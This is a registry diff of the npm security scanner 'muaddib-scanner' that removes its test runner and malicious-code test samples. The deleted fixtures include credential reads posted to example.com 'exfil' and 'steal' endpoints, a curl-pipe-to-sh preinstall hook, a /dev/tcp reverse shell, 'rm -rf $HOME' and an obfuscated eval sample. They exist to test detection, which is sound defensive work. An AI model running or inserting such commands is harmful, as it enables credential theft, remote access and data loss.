muaddib-scanner 1.0.8 → 1.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (37) hide show
  1. package/.muaddib-cache/iocs.json +355 -0
  2. package/README.fr.md +310 -0
  3. package/README.md +118 -93
  4. package/bin/muaddib.js +33 -26
  5. package/data/iocs.json +28 -0
  6. package/package.json +3 -3
  7. package/rapport.html +159 -0
  8. package/src/index.js +73 -15
  9. package/src/ioc/scraper.js +91 -50
  10. package/src/rules/index.js +40 -1
  11. package/src/scanner/typosquat.js +52 -118
  12. package/.github/workflows/scan.yml +0 -33
  13. package/docs/threat-model.md +0 -116
  14. package/test/samples/malicious.js +0 -20
  15. package/tests/run-tests.js +0 -389
  16. package/tests/samples/ast/malicious.js +0 -20
  17. package/tests/samples/clean/safe.js +0 -14
  18. package/tests/samples/dataflow/exfiltration.js +0 -20
  19. package/tests/samples/edge/empty/empty.js +0 -0
  20. package/tests/samples/edge/invalid-syntax/broken.js +0 -5
  21. package/tests/samples/edge/large-file/large.js +0 -6
  22. package/tests/samples/edge/non-js/readme.txt +0 -3
  23. package/tests/samples/markers/shai-hulud.js +0 -10
  24. package/tests/samples/obfuscation/obfuscated.js +0 -1
  25. package/tests/samples/package/package.json +0 -9
  26. package/tests/samples/shell/malicious.sh +0 -13
  27. package/tests/samples/typosquat/package.json +0 -11
  28. package/vscode-extension/.vscode/launch.json +0 -13
  29. package/vscode-extension/.vscodeignore +0 -0
  30. package/vscode-extension/LICENSE +0 -21
  31. package/vscode-extension/README.md +0 -0
  32. package/vscode-extension/extension.js +0 -271
  33. package/vscode-extension/icon.png +0 -0
  34. package/vscode-extension/muaddib-vscode-1.0.0.vsix +0 -0
  35. package/vscode-extension/package.json +0 -64
  36. package/vscode-extension/vscode-extension/README.md +0 -44
  37. package/vscode-extension/vscode-extension/package.json +0 -64
@@ -1,389 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const { execSync } = require('child_process');
4
-
5
- const TESTS_DIR = path.join(__dirname, 'samples');
6
- const BIN = path.join(__dirname, '..', 'bin', 'muaddib.js');
7
-
8
- let passed = 0;
9
- let failed = 0;
10
- const failures = [];
11
-
12
- function test(name, fn) {
13
- try {
14
- fn();
15
- console.log(`[PASS] ${name}`);
16
- passed++;
17
- } catch (e) {
18
- console.log(`[FAIL] ${name}`);
19
- console.log(` ${e.message}`);
20
- failures.push({ name, error: e.message });
21
- failed++;
22
- }
23
- }
24
-
25
- function assert(condition, message) {
26
- if (!condition) {
27
- throw new Error(message || 'Assertion failed');
28
- }
29
- }
30
-
31
- function assertIncludes(str, substr, message) {
32
- if (!str.includes(substr)) {
33
- throw new Error(message || `Expected "${substr}" in output`);
34
- }
35
- }
36
-
37
- function assertNotIncludes(str, substr, message) {
38
- if (str.includes(substr)) {
39
- throw new Error(message || `Unexpected "${substr}" in output`);
40
- }
41
- }
42
-
43
- function runScan(target, options = '') {
44
- try {
45
- const cmd = `node "${BIN}" scan "${target}" ${options}`;
46
- return execSync(cmd, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'pipe'] });
47
- } catch (e) {
48
- return e.stdout || e.stderr || '';
49
- }
50
- }
51
-
52
- function runCommand(cmd) {
53
- try {
54
- return execSync(`node "${BIN}" ${cmd}`, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'pipe'] });
55
- } catch (e) {
56
- return e.stdout || e.stderr || '';
57
- }
58
- }
59
-
60
- // ============================================
61
- // TESTS UNITAIRES - DETECTION AST
62
- // ============================================
63
-
64
- console.log('\n=== TESTS AST ===\n');
65
-
66
- test('AST: Detecte acces .npmrc', () => {
67
- const output = runScan(path.join(TESTS_DIR, 'ast'));
68
- assertIncludes(output, '.npmrc', 'Devrait detecter .npmrc');
69
- });
70
-
71
- test('AST: Detecte acces .ssh', () => {
72
- const output = runScan(path.join(TESTS_DIR, 'ast'));
73
- assertIncludes(output, '.ssh', 'Devrait detecter .ssh');
74
- });
75
-
76
- test('AST: Detecte GITHUB_TOKEN', () => {
77
- const output = runScan(path.join(TESTS_DIR, 'ast'));
78
- assertIncludes(output, 'GITHUB_TOKEN', 'Devrait detecter GITHUB_TOKEN');
79
- });
80
-
81
- test('AST: Detecte NPM_TOKEN', () => {
82
- const output = runScan(path.join(TESTS_DIR, 'ast'));
83
- assertIncludes(output, 'NPM_TOKEN', 'Devrait detecter NPM_TOKEN');
84
- });
85
-
86
- test('AST: Detecte AWS_SECRET', () => {
87
- const output = runScan(path.join(TESTS_DIR, 'ast'));
88
- assertIncludes(output, 'AWS_SECRET', 'Devrait detecter AWS_SECRET');
89
- });
90
-
91
- test('AST: Detecte eval()', () => {
92
- const output = runScan(path.join(TESTS_DIR, 'ast'));
93
- assertIncludes(output, 'eval', 'Devrait detecter eval');
94
- });
95
-
96
- test('AST: Detecte exec()', () => {
97
- const output = runScan(path.join(TESTS_DIR, 'ast'));
98
- assertIncludes(output, 'exec', 'Devrait detecter exec');
99
- });
100
-
101
- test('AST: Detecte spawn()', () => {
102
- const output = runScan(path.join(TESTS_DIR, 'ast'));
103
- assertIncludes(output, 'spawn', 'Devrait detecter spawn');
104
- });
105
-
106
- test('AST: Detecte new Function()', () => {
107
- const output = runScan(path.join(TESTS_DIR, 'ast'));
108
- assertIncludes(output, 'Function', 'Devrait detecter Function');
109
- });
110
-
111
- // ============================================
112
- // TESTS UNITAIRES - DETECTION SHELL
113
- // ============================================
114
-
115
- console.log('\n=== TESTS SHELL ===\n');
116
-
117
- test('SHELL: Detecte curl | sh', () => {
118
- const output = runScan(path.join(TESTS_DIR, 'shell'));
119
- assertIncludes(output, 'curl', 'Devrait detecter curl | sh');
120
- });
121
-
122
- test('SHELL: Detecte wget && chmod +x', () => {
123
- const output = runScan(path.join(TESTS_DIR, 'shell'));
124
- assertIncludes(output, 'wget', 'Devrait detecter wget');
125
- });
126
-
127
- test('SHELL: Detecte reverse shell', () => {
128
- const output = runScan(path.join(TESTS_DIR, 'shell'));
129
- assertIncludes(output, 'reverse', 'Devrait detecter reverse shell');
130
- });
131
-
132
- test('SHELL: Detecte rm -rf $HOME', () => {
133
- const output = runScan(path.join(TESTS_DIR, 'shell'));
134
- assertIncludes(output, 'home', 'Devrait detecter suppression home');
135
- });
136
-
137
- // ============================================
138
- // TESTS UNITAIRES - DETECTION OBFUSCATION
139
- // ============================================
140
-
141
- console.log('\n=== TESTS OBFUSCATION ===\n');
142
-
143
- test('OBFUSCATION: Detecte hex escapes massifs', () => {
144
- const output = runScan(path.join(TESTS_DIR, 'obfuscation'));
145
- assertIncludes(output, 'obfusc', 'Devrait detecter obfuscation');
146
- });
147
-
148
- test('OBFUSCATION: Detecte variables _0x', () => {
149
- const output = runScan(path.join(TESTS_DIR, 'obfuscation'));
150
- assertIncludes(output, 'obfusc', 'Devrait detecter variables _0x');
151
- });
152
-
153
- // ============================================
154
- // TESTS UNITAIRES - DETECTION DATAFLOW
155
- // ============================================
156
-
157
- console.log('\n=== TESTS DATAFLOW ===\n');
158
-
159
- test('DATAFLOW: Detecte credential read + network send', () => {
160
- const output = runScan(path.join(TESTS_DIR, 'dataflow'));
161
- assertIncludes(output, 'Flux suspect', 'Devrait detecter flux suspect');
162
- });
163
-
164
- test('DATAFLOW: Detecte env read + fetch', () => {
165
- const output = runScan(path.join(TESTS_DIR, 'dataflow'));
166
- assertIncludes(output, 'CRITICAL', 'Devrait etre CRITICAL');
167
- });
168
-
169
- // ============================================
170
- // TESTS UNITAIRES - DETECTION PACKAGE.JSON
171
- // ============================================
172
-
173
- console.log('\n=== TESTS PACKAGE.JSON ===\n');
174
-
175
- test('PACKAGE: Detecte preinstall suspect', () => {
176
- const output = runScan(path.join(TESTS_DIR, 'package'));
177
- assertIncludes(output, 'preinstall', 'Devrait detecter preinstall');
178
- });
179
-
180
- test('PACKAGE: Detecte postinstall suspect', () => {
181
- const output = runScan(path.join(TESTS_DIR, 'package'));
182
- assertIncludes(output, 'postinstall', 'Devrait detecter postinstall');
183
- });
184
-
185
- // ============================================
186
- // TESTS UNITAIRES - DETECTION MARQUEURS
187
- // ============================================
188
-
189
- console.log('\n=== TESTS MARQUEURS ===\n');
190
-
191
- test('MARQUEURS: Detecte Shai-Hulud', () => {
192
- const output = runScan(path.join(TESTS_DIR, 'markers'));
193
- assertIncludes(output, 'Shai-Hulud', 'Devrait detecter marqueur Shai-Hulud');
194
- });
195
-
196
- test('MARQUEURS: Detecte The Second Coming', () => {
197
- const output = runScan(path.join(TESTS_DIR, 'markers'));
198
- assertIncludes(output, 'Second Coming', 'Devrait detecter marqueur The Second Coming');
199
- });
200
-
201
- // ============================================
202
- // TESTS UNITAIRES - DETECTION TYPOSQUATTING
203
- // ============================================
204
-
205
- console.log('\n=== TESTS TYPOSQUATTING ===\n');
206
-
207
- test('TYPOSQUAT: Detecte lodahs (lodash)', () => {
208
- const output = runScan(path.join(TESTS_DIR, 'typosquat'));
209
- assertIncludes(output, 'lodahs', 'Devrait detecter lodahs');
210
- });
211
-
212
- test('TYPOSQUAT: Detecte axois (axios)', () => {
213
- const output = runScan(path.join(TESTS_DIR, 'typosquat'));
214
- assertIncludes(output, 'axois', 'Devrait detecter axois');
215
- });
216
-
217
- test('TYPOSQUAT: Detecte expres (express)', () => {
218
- const output = runScan(path.join(TESTS_DIR, 'typosquat'));
219
- assertIncludes(output, 'expres', 'Devrait detecter expres');
220
- });
221
-
222
- test('TYPOSQUAT: Severity HIGH', () => {
223
- const output = runScan(path.join(TESTS_DIR, 'typosquat'));
224
- assertIncludes(output, 'HIGH', 'Devrait etre HIGH');
225
- });
226
-
227
- // ============================================
228
- // TESTS INTEGRATION - CLI
229
- // ============================================
230
-
231
- console.log('\n=== TESTS CLI ===\n');
232
-
233
- test('CLI: --help affiche usage', () => {
234
- const output = runCommand('');
235
- assertIncludes(output, 'Usage', 'Devrait afficher usage');
236
- });
237
-
238
- test('CLI: --json retourne JSON valide', () => {
239
- const output = runScan(path.join(TESTS_DIR, 'ast'), '--json');
240
- try {
241
- JSON.parse(output);
242
- } catch (e) {
243
- throw new Error('Output JSON invalide');
244
- }
245
- });
246
-
247
- test('CLI: --sarif genere fichier SARIF', () => {
248
- const sarifPath = path.join(__dirname, 'test-output.sarif');
249
- runScan(path.join(TESTS_DIR, 'ast'), `--sarif "${sarifPath}"`);
250
- assert(fs.existsSync(sarifPath), 'Fichier SARIF non genere');
251
- const content = fs.readFileSync(sarifPath, 'utf8');
252
- const sarif = JSON.parse(content);
253
- assert(sarif.version === '2.1.0', 'Version SARIF incorrecte');
254
- assert(sarif.runs && sarif.runs.length > 0, 'SARIF runs manquant');
255
- fs.unlinkSync(sarifPath);
256
- });
257
-
258
- test('CLI: --html genere fichier HTML', () => {
259
- const htmlPath = path.join(__dirname, 'test-output.html');
260
- runScan(path.join(TESTS_DIR, 'ast'), `--html "${htmlPath}"`);
261
- assert(fs.existsSync(htmlPath), 'Fichier HTML non genere');
262
- const content = fs.readFileSync(htmlPath, 'utf8');
263
- assertIncludes(content, 'MUAD', 'HTML devrait contenir MUAD');
264
- assertIncludes(content, '<table>', 'HTML devrait contenir table');
265
- fs.unlinkSync(htmlPath);
266
- });
267
-
268
- test('CLI: --explain affiche details', () => {
269
- const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
270
- assertIncludes(output, 'Rule ID', 'Devrait afficher Rule ID');
271
- assertIncludes(output, 'MITRE', 'Devrait afficher MITRE');
272
- assertIncludes(output, 'References', 'Devrait afficher References');
273
- assertIncludes(output, 'Playbook', 'Devrait afficher Playbook');
274
- });
275
-
276
- test('CLI: --fail-on critical exit code correct', () => {
277
- try {
278
- execSync(`node "${BIN}" scan "${path.join(TESTS_DIR, 'dataflow')}" --fail-on critical`, { encoding: 'utf8' });
279
- } catch (e) {
280
- assert(e.status === 1, 'Exit code devrait etre 1 pour 1 CRITICAL');
281
- return;
282
- }
283
- throw new Error('Devrait avoir exit code non-zero');
284
- });
285
-
286
- test('CLI: --fail-on high exit code correct', () => {
287
- try {
288
- execSync(`node "${BIN}" scan "${path.join(TESTS_DIR, 'ast')}" --fail-on high`, { encoding: 'utf8' });
289
- } catch (e) {
290
- assert(e.status > 0, 'Exit code devrait etre > 0');
291
- return;
292
- }
293
- throw new Error('Devrait avoir exit code non-zero');
294
- });
295
-
296
- // ============================================
297
- // TESTS INTEGRATION - UPDATE
298
- // ============================================
299
-
300
- console.log('\n=== TESTS UPDATE ===\n');
301
-
302
- test('UPDATE: Telecharge et cache IOCs', () => {
303
- const output = runCommand('update');
304
- assertIncludes(output, 'IOCs sauvegardes', 'Devrait sauvegarder IOCs');
305
- assertIncludes(output, 'packages malveillants', 'Devrait afficher nombre packages');
306
- });
307
-
308
- // ============================================
309
- // TESTS FAUX POSITIFS
310
- // ============================================
311
-
312
- console.log('\n=== TESTS FAUX POSITIFS ===\n');
313
-
314
- test('FAUX POSITIFS: Projet propre = aucune menace', () => {
315
- const output = runScan(path.join(TESTS_DIR, 'clean'));
316
- assertIncludes(output, 'Aucune menace', 'Projet propre ne devrait pas avoir de menaces');
317
- });
318
-
319
- test('FAUX POSITIFS: Commentaires ignores', () => {
320
- const output = runScan(path.join(TESTS_DIR, 'clean'));
321
- assertNotIncludes(output, 'CRITICAL', 'Commentaires ne devraient pas declencher');
322
- });
323
-
324
- // ============================================
325
- // TESTS EDGE CASES
326
- // ============================================
327
-
328
- console.log('\n=== TESTS EDGE CASES ===\n');
329
-
330
- test('EDGE: Fichier vide ne crash pas', () => {
331
- const output = runScan(path.join(TESTS_DIR, 'edge', 'empty'));
332
- assert(output !== undefined, 'Ne devrait pas crasher sur fichier vide');
333
- });
334
-
335
- test('EDGE: Fichier non-JS ignore', () => {
336
- const output = runScan(path.join(TESTS_DIR, 'edge', 'non-js'));
337
- assertIncludes(output, 'Aucune menace', 'Fichiers non-JS ignores');
338
- });
339
-
340
- test('EDGE: Syntaxe JS invalide ne crash pas', () => {
341
- const output = runScan(path.join(TESTS_DIR, 'edge', 'invalid-syntax'));
342
- assert(output !== undefined, 'Ne devrait pas crasher sur syntaxe invalide');
343
- });
344
-
345
- test('EDGE: Tres gros fichier ne timeout pas', () => {
346
- const start = Date.now();
347
- runScan(path.join(TESTS_DIR, 'edge', 'large-file'));
348
- const duration = Date.now() - start;
349
- assert(duration < 30000, 'Ne devrait pas prendre plus de 30s');
350
- });
351
-
352
- // ============================================
353
- // TESTS REGLES MITRE
354
- // ============================================
355
-
356
- console.log('\n=== TESTS MITRE ===\n');
357
-
358
- test('MITRE: T1552.001 - Credentials in Files', () => {
359
- const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
360
- assertIncludes(output, 'T1552.001', 'Devrait mapper T1552.001');
361
- });
362
-
363
- test('MITRE: T1059 - Command Execution', () => {
364
- const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
365
- assertIncludes(output, 'T1059', 'Devrait mapper T1059');
366
- });
367
-
368
- test('MITRE: T1041 - Exfiltration', () => {
369
- const output = runScan(path.join(TESTS_DIR, 'dataflow'), '--explain');
370
- assertIncludes(output, 'T1041', 'Devrait mapper T1041');
371
- });
372
-
373
- // ============================================
374
- // RESULTATS
375
- // ============================================
376
-
377
- console.log('\n========================================');
378
- console.log(`RESULTATS: ${passed} passes, ${failed} echecs`);
379
- console.log('========================================\n');
380
-
381
- if (failures.length > 0) {
382
- console.log('Echecs:');
383
- failures.forEach(f => {
384
- console.log(` - ${f.name}: ${f.error}`);
385
- });
386
- console.log('');
387
- }
388
-
389
- process.exit(failed > 0 ? 1 : 0);
@@ -1,20 +0,0 @@
1
- const fs = require('fs');
2
- const { exec, spawn } = require('child_process');
3
-
4
- // Test credentials access
5
- const npmrc = fs.readFileSync('.npmrc', 'utf8');
6
- const ssh = fs.readFileSync('.ssh/id_rsa', 'utf8');
7
-
8
- // Test env access
9
- const token = process.env.GITHUB_TOKEN;
10
- const npmToken = process.env.NPM_TOKEN;
11
- const awsSecret = process.env.AWS_SECRET;
12
-
13
- // Test dangerous calls
14
- eval('console.log("evil")');
15
- new Function('return this')();
16
- exec('ls -la');
17
- spawn('node', ['script.js']);
18
-
19
- // Test API reference
20
- fetch('https://api.github.com/user');
@@ -1,14 +0,0 @@
1
- // Code normal sans menaces
2
- const express = require('express');
3
- const app = express();
4
-
5
- app.get('/', (req, res) => {
6
- res.send('Hello World');
7
- });
8
-
9
- app.listen(3000, () => {
10
- console.log('Server running on port 3000');
11
- });
12
-
13
- // Commentaire mentionnant .npmrc pour test faux positif
14
- // On ne devrait pas detecter: .npmrc, GITHUB_TOKEN, eval
@@ -1,20 +0,0 @@
1
- const fs = require('fs');
2
- const https = require('https');
3
-
4
- // Lecture credentials
5
- const npmrc = fs.readFileSync('.npmrc', 'utf8');
6
- const token = process.env.GITHUB_TOKEN;
7
-
8
- // Envoi reseau
9
- fetch('https://example.com/collect', {
10
- method: 'POST',
11
- body: JSON.stringify({ npmrc, token })
12
- });
13
-
14
- // Variante avec request
15
- const request = require('request');
16
- request.post('https://example.com/exfil', { body: npmrc });
17
-
18
- // Variante avec exec curl
19
- const { exec } = require('child_process');
20
- exec(`curl -X POST -d "${token}" https://example.com/steal`);
File without changes
@@ -1,5 +0,0 @@
1
- function broken( {
2
- const x =
3
- if (true
4
- console.log("syntax error"
5
- }
@@ -1,6 +0,0 @@
1
- // Large file test
2
- const data = [];
3
- for (let i = 0; i < 100000; i++) {
4
- data.push({ id: i, value: Math.random() });
5
- }
6
- console.log(data.length);
@@ -1,3 +0,0 @@
1
- This is a text file.
2
- GITHUB_TOKEN should not be detected here.
3
- eval() should not trigger.
@@ -1,10 +0,0 @@
1
- // Shai-Hulud worm marker
2
- const version = "The Second Coming";
3
- const author = "Goldox-T3chs";
4
-
5
- // Payload
6
- function infect() {
7
- console.log("Shai-Hulud was here");
8
- }
9
-
10
- infect();
@@ -1 +0,0 @@
1
- var _0x1234=['log','Hello'];var _0x5678=function(_0x1234ab){return _0x1234[_0x1234ab];};console[_0x5678(0)](_0x5678(1));var _0xabcd='\x65\x76\x61\x6c';var _0xef01='\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x6c\x6f\x67\x28\x22\x68\x61\x63\x6b\x65\x64\x22\x29';window[_0xabcd](_0xef01);var _0x9876=['\x72\x65\x61\x64\x46\x69\x6c\x65\x53\x79\x6e\x63','\x2e\x6e\x70\x6d\x72\x63'];require('\x66\x73')[_0x9876[0]](_0x9876[1]);(function(_0x2341,_0x5432){var _0x1111=function(_0x2222){while(--_0x2222){_0x2341['push'](_0x2341['shift']());}};_0x1111(++_0x5432);}([],0x1ff));var _0xaaaa=atob('ZXZhbCgiY29uc29sZS5sb2coJ293bmVkJykiKQ==');eval(_0xaaaa);
@@ -1,9 +0,0 @@
1
- {
2
- "name": "malicious-package",
3
- "version": "1.0.0",
4
- "scripts": {
5
- "preinstall": "curl https://example.com/payload.sh | sh",
6
- "postinstall": "node -e \"require('child_process').exec('whoami')\"",
7
- "install": "echo $NPM_TOKEN | base64"
8
- }
9
- }
@@ -1,13 +0,0 @@
1
- #!/bin/bash
2
-
3
- # Test curl | sh
4
- curl https://example.com/script.sh | sh
5
-
6
- # Test wget
7
- wget https://example.com/payload && chmod +x payload && ./payload
8
-
9
- # Test reverse shell
10
- bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
11
-
12
- # Test dead man's switch
13
- rm -rf $HOME
@@ -1,11 +0,0 @@
1
- {
2
- "name": "test-typosquat",
3
- "version": "1.0.0",
4
- "dependencies": {
5
- "lodahs": "^1.0.0",
6
- "axois": "^1.0.0",
7
- "expres": "^1.0.0",
8
- "recat": "^1.0.0",
9
- "momnet": "^1.0.0"
10
- }
11
- }
@@ -1,13 +0,0 @@
1
- {
2
- "version": "0.2.0",
3
- "configurations": [
4
- {
5
- "name": "Run Extension",
6
- "type": "extensionHost",
7
- "request": "launch",
8
- "args": [
9
- "--extensionDevelopmentPath=${workspaceFolder}"
10
- ]
11
- }
12
- ]
13
- }
File without changes
@@ -1,21 +0,0 @@
1
- MIT License
2
-
3
- Copyright (c) 2026 MUAD'DIB Contributors
4
-
5
- Permission is hereby granted, free of charge, to any person obtaining a copy
6
- of this software and associated documentation files (the "Software"), to deal
7
- in the Software without restriction, including without limitation the rights
8
- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
- copies of the Software, and to permit persons to whom the Software is
10
- furnished to do so, subject to the following conditions:
11
-
12
- The above copyright notice and this permission notice shall be included in all
13
- copies or substantial portions of the Software.
14
-
15
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
- SOFTWARE.
File without changes